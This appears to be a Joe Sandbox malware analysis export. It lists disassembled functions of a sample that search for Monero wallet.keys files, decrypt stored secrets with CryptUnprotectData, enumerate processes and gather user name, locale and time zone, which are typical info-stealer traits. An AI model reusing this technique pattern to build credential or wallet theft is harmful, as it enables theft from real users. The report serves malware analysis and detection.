Associated: 00000000.00000002.1932303074.00000000006BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000755000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000775000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000077B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.000000000080E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000999000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933018626.0000000000AAE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933137106.0000000000C4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933155444.0000000000C4B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5b0000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$Find$lstrcat$CloseCopyDeleteFirstNextlstrlen
String ID: \*.*
API String ID: 1415058207-1173974218
Opcode ID: c7d41653b5a5cbe1a2600d57eb8bb81e53a0d318c47d2f674f61b83a076b9bae
Instruction ID: 29f96242c6daabbf9738fe2dc3aee819f8f153925d1fac1f805410f7999e419b
Opcode Fuzzy Hash: c7d41653b5a5cbe1a2600d57eb8bb81e53a0d318c47d2f674f61b83a076b9bae
Instruction Fuzzy Hash: CC12DA7191011D9FDB25EBA0DC9AFEE7F78BB94304F40419DA10A66091EF706F89CBA1

Function 005BDA80 Relevance: 13.8, APIs: 9, Instructions: 255fileCOMMON

Download Yara Rule

APIs

Part of subcall function 005CA740: lstrcpy.KERNEL32(005D0E17,00000000), ref: 005CA788

Part of subcall function 005CA920: lstrcpy.KERNEL32(00000000,?), ref: 005CA972
Part of subcall function 005CA920: lstrcat.KERNEL32(00000000), ref: 005CA982

Part of subcall function 005CA9B0: lstrlen.KERNEL32(?,00C79D18,?,\Monero\wallet.keys,005D0E17), ref: 005CA9C5
Part of subcall function 005CA9B0: lstrcpy.KERNEL32(00000000), ref: 005CAA04
Part of subcall function 005CA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 005CAA12

Part of subcall function 005CA8A0: lstrcpy.KERNEL32(?,005D0E17), ref: 005CA905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,005D14B0,005D0C2A), ref: 005BDAEB
StrCmpCA.SHLWAPI(?,005D14B4), ref: 005BDB33
StrCmpCA.SHLWAPI(?,005D14B8), ref: 005BDB49
FindNextFileA.KERNELBASE(000000FF,?), ref: 005BDDCC
FindClose.KERNEL32(000000FF), ref: 005BDDDE

Memory Dump Source

Source File: 00000000.00000002.1932303074.00000000005B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000000.00000002.1932287511.00000000005B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000060A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000635000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000063F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000642000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000661000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000066D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000069F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000755000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000775000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000077B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.000000000080E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000999000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933018626.0000000000AAE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933137106.0000000000C4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933155444.0000000000C4B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5b0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID:
API String ID: 3334442632-0
Opcode ID: 0ea9f9d6493f0687d2f2b97e90e56df669eb20d6b7d89abaea7655eb477b1bff
Instruction ID: 41afe8d0def4262013857e075484b1da41aeea1dd2a2b5371b9a95d953a7c4f0
Opcode Fuzzy Hash: 0ea9f9d6493f0687d2f2b97e90e56df669eb20d6b7d89abaea7655eb477b1bff
Instruction Fuzzy Hash: 359116729001096BCB14FBB0DC5AEED7F7DBBC4344F40855DB90A96185EE34AB09CBA6

Function 005C7B90 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 114memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 005CA740: lstrcpy.KERNEL32(005D0E17,00000000), ref: 005CA788

GetKeyboardLayoutList.USER32(00000000,00000000,005D05AF), ref: 005C7BE1
LocalAlloc.KERNEL32(00000040,?), ref: 005C7BF9
GetKeyboardLayoutList.USER32(?,00000000), ref: 005C7C0D
GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 005C7C62
LocalFree.KERNEL32(00000000), ref: 005C7D22

Strings

/ , xrefs: 005C7C7F

Memory Dump Source

Source File: 00000000.00000002.1932303074.00000000005B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000000.00000002.1932287511.00000000005B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000060A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000635000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000063F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000642000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000661000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000066D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000069F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000755000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000775000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000077B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.000000000080E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000999000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933018626.0000000000AAE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933137106.0000000000C4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933155444.0000000000C4B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5b0000_file.jbxd

Yara matches

Similarity

API ID: KeyboardLayoutListLocal$AllocFreeInfoLocalelstrcpy
String ID: /
API String ID: 3090951853-4001269591
Opcode ID: 00dbb65ae327e436b489455411b39e7d1c0e043fd541f0d5b991a1a4e957ac92
Instruction ID: 8a7b8fee807dcd5e9fbda318be798362b82f137574909a6135cf5930c8514129
Opcode Fuzzy Hash: 00dbb65ae327e436b489455411b39e7d1c0e043fd541f0d5b991a1a4e957ac92
Instruction Fuzzy Hash: 22413A7194021DAFCB24DB94DC99FEEBBB4FB48704F204199E40A62281DB742F85CFA5

Function 005BE430 Relevance: 9.3, APIs: 4, Strings: 1, Instructions: 514fileCOMMON

Download Yara Rule

APIs

Part of subcall function 005CA740: lstrcpy.KERNEL32(005D0E17,00000000), ref: 005CA788

Part of subcall function 005CA920: lstrcpy.KERNEL32(00000000,?), ref: 005CA972
Part of subcall function 005CA920: lstrcat.KERNEL32(00000000), ref: 005CA982

Part of subcall function 005CA9B0: lstrlen.KERNEL32(?,00C79D18,?,\Monero\wallet.keys,005D0E17), ref: 005CA9C5
Part of subcall function 005CA9B0: lstrcpy.KERNEL32(00000000), ref: 005CAA04
Part of subcall function 005CA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 005CAA12

Part of subcall function 005CA8A0: lstrcpy.KERNEL32(?,005D0E17), ref: 005CA905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,\*.*,005D0D73), ref: 005BE4A2
StrCmpCA.SHLWAPI(?,005D14F8), ref: 005BE4F2
StrCmpCA.SHLWAPI(?,005D14FC), ref: 005BE508
FindNextFileA.KERNEL32(000000FF,?), ref: 005BEBDF

Strings

\*.*, xrefs: 005BE44D

Memory Dump Source

Source File: 00000000.00000002.1932303074.00000000005B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000000.00000002.1932287511.00000000005B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000060A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000635000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000063F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000642000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000661000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000066D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000069F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000755000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000775000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000077B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.000000000080E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000999000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933018626.0000000000AAE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933137106.0000000000C4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933155444.0000000000C4B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5b0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileFindlstrcat$FirstNextlstrlen
String ID: \*.*
API String ID: 433455689-1173974218
Opcode ID: 792b163d9c8fe18930b849b9824e2e5f460d5701f8e80fb190dfbb2524b072af
Instruction ID: 07eae3b4cf90ae74282b038a368460723910fd60bdb14d195cc6b814185f526b
Opcode Fuzzy Hash: 792b163d9c8fe18930b849b9824e2e5f460d5701f8e80fb190dfbb2524b072af
Instruction Fuzzy Hash: 89122B7190011D9FDB24FBA0DC9AFED7F78BB94304F4041ADA50A96191EE346F49CBA2

Function 005C9600 Relevance: 7.5, APIs: 5, Instructions: 42processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 005C961E
Process32First.KERNEL32(005D0ACA,00000128), ref: 005C9632
Process32Next.KERNEL32(005D0ACA,00000128), ref: 005C9647
StrCmpCA.SHLWAPI(?,00000000), ref: 005C965C
CloseHandle.KERNEL32(005D0ACA), ref: 005C967A

Memory Dump Source

Source File: 00000000.00000002.1932303074.00000000005B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000000.00000002.1932287511.00000000005B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000060A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000635000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000063F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000642000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000661000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000066D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000069F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000755000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000775000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000077B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.000000000080E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000999000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933018626.0000000000AAE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933137106.0000000000C4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933155444.0000000000C4B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5b0000_file.jbxd

Yara matches

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
String ID:
API String ID: 420147892-0
Opcode ID: 3c0254fb74b1a79d91f24bf0375be168c9aa99bfc184cf045e6a1b0826fbfbb0
Instruction ID: 37b82424a9d22eb7fd02db575a15694cc4ccd3149a18b6a3cbd292383f11c2d5
Opcode Fuzzy Hash: 3c0254fb74b1a79d91f24bf0375be168c9aa99bfc184cf045e6a1b0826fbfbb0
Instruction Fuzzy Hash: 3701E9B5A00208BFCB15DFA5CD48FEDBBF8FB48740F108198A90996280D774AA80CF55

Function 005C7A30 Relevance: 6.0, APIs: 4, Instructions: 49memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00000000,00000000,?,00C7F250,00000000,?,005D0E10,00000000,?,00000000,00000000), ref: 005C7A63
RtlAllocateHeap.NTDLL(00000000), ref: 005C7A6A
GetTimeZoneInformation.KERNEL32(?,?,?,?,00000000,00000000,?,00C7F250,00000000,?,005D0E10,00000000,?,00000000,00000000,?), ref: 005C7A7D
wsprintfA.USER32 ref: 005C7AB7

Memory Dump Source

Source File: 00000000.00000002.1932303074.00000000005B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000000.00000002.1932287511.00000000005B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000060A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000635000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000063F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000642000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000661000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000066D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000069F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000755000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000775000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000077B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.000000000080E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000999000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933018626.0000000000AAE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933137106.0000000000C4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933155444.0000000000C4B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5b0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateInformationProcessTimeZonewsprintf
String ID:
API String ID: 3317088062-0
Opcode ID: a48a28460152c9d5c8d8dfc8ad1d5091b0e077f197166cdf85db0588dd47df99
Instruction ID: 66c3af8585e71458f92124670edacbdfc297895f820cf517e6418bdd46b87334
Opcode Fuzzy Hash: a48a28460152c9d5c8d8dfc8ad1d5091b0e077f197166cdf85db0588dd47df99
Instruction Fuzzy Hash: B8118EB1945218EFEB208B94DC49FA9BB78FB04761F10479AE91A932C0D7781E40CF91

Function 005B9B60 Relevance: 4.6, APIs: 3, Instructions: 51memoryencryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 005B9B84
LocalAlloc.KERNEL32(00000040,00000000), ref: 005B9BA3
LocalFree.KERNEL32(?), ref: 005B9BD3

Memory Dump Source

Source File: 00000000.00000002.1932303074.00000000005B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000000.00000002.1932287511.00000000005B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000060A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000635000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000063F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000642000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000661000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000066D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000069F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000755000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000775000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000077B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.000000000080E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000999000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933018626.0000000000AAE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933137106.0000000000C4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933155444.0000000000C4B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5b0000_file.jbxd

Yara matches

Similarity

API ID: Local$AllocCryptDataFreeUnprotect
String ID:
API String ID: 2068576380-0
Opcode ID: ff24183a56cf388d315253b4d6bc59cc36c9f6f77cc735db086c1f404cdd2f90
Instruction ID: feecbf0e2d1c5030540a69f196832185e2de0e06d2c23cf0436bd271a51c26f5
Opcode Fuzzy Hash: ff24183a56cf388d315253b4d6bc59cc36c9f6f77cc735db086c1f404cdd2f90
Instruction Fuzzy Hash: 6B11BAB8A00209EFDB04DF94D985EAE77B5FF88300F108558E91597350D774AE10CFA1

Function 005C7850 Relevance: 4.5, APIs: 3, Instructions: 36memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,005B11B7), ref: 005C7880
RtlAllocateHeap.NTDLL(00000000), ref: 005C7887
GetUserNameA.ADVAPI32(00000104,00000104), ref: 005C789F

Memory Dump Source

Source File: 00000000.00000002.1932303074.00000000005B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000000.00000002.1932287511.00000000005B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000060A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000635000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000063F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000642000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000661000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000066D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000069F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000755000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000775000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000077B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.000000000080E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000999000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933018626.0000000000AAE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933137106.0000000000C4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933155444.0000000000C4B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5b0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateNameProcessUser
String ID:
API String ID: 1296208442-0
Opcode ID: 9abb434578d440f1a3dd0cbf01486b4baefbe55ed31f6b2993088b6519f7f8e1
Instruction ID: b00eeecd66ee53be10bc8a27255c18ba50dc91f17b61fc8eb0924bac293aaa5d
Opcode Fuzzy Hash: 9abb434578d440f1a3dd0cbf01486b4baefbe55ed31f6b2993088b6519f7f8e1
